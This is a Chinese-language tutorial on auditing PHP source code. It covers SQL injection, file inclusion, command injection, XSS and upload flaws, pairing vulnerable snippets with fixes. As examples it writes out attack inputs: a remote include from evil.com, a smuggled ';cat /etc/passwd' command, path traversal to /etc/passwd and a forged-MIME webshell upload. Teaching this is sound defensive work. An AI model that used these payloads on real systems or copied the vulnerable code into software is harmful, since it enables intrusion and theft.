看PHP源码漏洞不能靠盲目搜索，而是要先理解漏洞产生的三个必要条件：外部输入、危险操作、缺少过滤。审计时从入口点跟到危险函数，一旦发现输入能直接进入敏感操作，就基本能确定漏洞存在。常见的入口点包括$_GET、$_POST、$_REQUEST、$_COOKIE和$_FILES，危险操作则集中在SQL拼接、文件包含、命令执行、直接输出和数据反序列化等环节。下面按照漏洞类型分别说明源码定位方法和修复方案。
SQL注入：从拼接语句找突破口
SQL注入在PHP源码中最典型的特征是使用字符串拼接方式构造查询语句。开发者如果直接把用户输入拼进SELECT、UPDATE、DELETE或INSERT语句，且没有经过转义或参数化处理，注入点就存在。搜索源码中的mysqli_query、mysql_query、PDO::query等函数，重点看它们前面的SQL字符串是否包含变量。
例如下面这段代码，$id来自$_GET，并且直接嵌入到SQL语句中。攻击者传入1 OR 1=1即可改变查询逻辑，甚至使用UNION SELECT拖取整表数据。
<?php $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = $id"; $result = mysqli_query($conn, $sql); ?>
修复此类漏洞的核心是使用参数化查询。PDO预处理语句和MySQLi的绑定参数都能从根本上分离代码与数据，杜绝注入可能。修改后的写法如下。
<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);
$user = $stmt->fetch();
?>
如果项目仍然使用老旧的mysql_*函数，应尽快迁移到PDO或MySQLi。对于无法立刻改写的代码，至少使用intval对数字型参数做强制转换，或者使用mysqli_real_escape_string做字符串转义。但转义只能作为临时方案，因为编码绕过和宽字节注入仍然可能突破防线。
文件包含与任意文件读取的排查路径
文件包含漏洞集中在include、require、include_once和require_once四个关键词上。当这些语句中的文件路径包含用户可控变量时，攻击者可以通过修改参数值来加载任意文件。如果允许远程包含，还能直接执行远程服务器上的恶意PHP代码。
审计时先搜索include($_GET、include($、require($这类模式，再确认变量是否经过白名单校验。典型漏洞代码如下。
<?php $page = $_GET['page']; include 'pages/' . $page . '.php'; ?>
攻击者传入page=../../../../etc/passwd%00或page=http://evil.com/shell就可能读取系统文件或执行远程代码。修复方法是建立文件名白名单，只允许加载预定义的文件列表。
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $allowed, true)) {
include 'pages/' . $page . '.php';
} else {
exit('Invalid page');
}
?>
此外，还需注意file_get_contents、fopen、readfile等文件读取函数。如果它们的路径参数来自用户输入，同样属于任意文件读取漏洞。修复时除了白名单，还可以限制路径前缀，使用basename去除目录穿越符号。
命令执行与代码注入的高危函数链
命令执行漏洞比SQL注入和文件包含更危险，因为攻击者可以直接在服务器上执行系统命令。PHP中能够执行命令或代码的函数包括system、exec、shell_exec、passthru、popen、proc_open以及eval、assert、preg_replace的/e修饰符。审计时搜索这些函数名，并追踪参数是否包含外部输入。
下面代码把$_GET['cmd']直接交给system执行，属于典型的命令注入。
<?php
$cmd = $_GET['cmd'];
system('ping -c 1 ' . $cmd);
?>
攻击者传入cmd=8.8.8.8; cat /etc/passwd即可追加任意命令。修复此类漏洞不能只靠替换特殊字符，因为命令执行的语法组合非常多。最稳妥的做法是完全避免把用户输入拼接到命令中，如果必须使用，则采用参数数组的调用方式，例如system配合escapeshellarg对每个参数进行转义。
<?php
$ip = $_GET['ip'] ?? '';
if (filter_var($ip, FILTER_VALIDATE_IP)) {
system('ping -c 1 ' . escapeshellarg($ip));
} else {
exit('Invalid IP');
}
?>
对于eval和assert这类代码执行函数，基本不存在安全用法，除非输入完全来自开发者自己。审计时一旦发现eval($_GET、assert($_POST等模式，应立即标记为严重漏洞并删除。
preg_replace曾经的/e修饰符也会执行替换结果作为PHP代码，但PHP 5.5起已废弃，PHP 7中已移除。如果老项目中仍使用/e，需要改为preg_replace_callback并写入明确的回调函数。
XSS与输出编码的源码审计要点
跨站脚本漏洞（XSS）的根源在于输出时没有对用户数据进行HTML编码。PHP代码中直接使用echo、print输出变量，或者把变量嵌入HTML属性、JavaScript代码，都可能导致XSS。审计时搜索echo $_GET、echo $_POST、print $_REQUEST等语句，并检查变量是否经过htmlspecialchars或htmlentities处理。
下面代码直接把用户输入输出到页面，攻击者可以在URL中注入<script>标签，触发存储型或反射型XSS。
<?php $name = $_GET['name']; echo "欢迎你，" . $name; ?>
修复方案是对输出内容做上下文相关的编码。在HTML文本节点中使用htmlspecialchars，在属性中同样使用该函数并设置ENT_QUOTES参数，在JavaScript上下文则需要使用json_encode输出。
<?php $name = $_GET['name'] ?? ''; echo '欢迎你，' . htmlspecialchars($name, ENT_QUOTES, 'UTF-8'); ?>
XSS的检测不能只盯echo，还要关注printf、sprintf和模板引擎的输出。很多框架自动转义，但原生PHP代码需要开发者手动处理。审计时应优先检查搜索框、评论区、用户资料展示等所有能接到外部输入的页面。
文件上传漏洞的前置校验与绕过
文件上传漏洞发生在move_uploaded_file函数执行之前，如果服务器没有充分校验文件类型、扩展名和内容，攻击者就能上传PHP木马获得Webshell。审计时需要检查$_FILES变量到move_uploaded_file之间的所有逻辑，包括is_uploaded_file、文件扩展名判断、MIME类型判断和文件大小限制。
典型的有漏洞代码只检查客户端传入的MIME类型，这可以被攻击者轻易伪造。
<?php
if ($_FILES['file']['type'] == 'image/jpeg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
}
?>
攻击者使用Burp修改Content-Type为image/jpeg，同时上传一个.php文件，即可绕过该判断。修复时需要从多个维度同时校验：扩展名使用白名单，MIME类型通过finfo_file读取真实文件内容判断，并将上传目录配置为禁止执行PHP脚本。
<?php
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext, true)) {
exit('Invalid file type');
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
if (!in_array($mime, ['image/jpeg', 'image/png', 'image/gif'], true)) {
exit('Invalid mime type');
}
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_name);
?>
如果项目允许上传图片，还应对图片内容做二次渲染，或者使用GD库重新生成图片，避免图片马中嵌入PHP代码。上传目录建议放在Web根目录之外，通过独立脚本调用文件，这样即使上传了可执行文件也不会被直接访问。
掌握了以上几类漏洞的源码定位方法后，建议按危险函数清单做全局搜索，再逐条追踪参数来源。人工审阅虽然耗时，但能发现扫描器无法识别的逻辑漏洞。针对每个问题代码，优先使用参数化、白名单和输出编码三类防御手段，而不是依赖简单的过滤函数。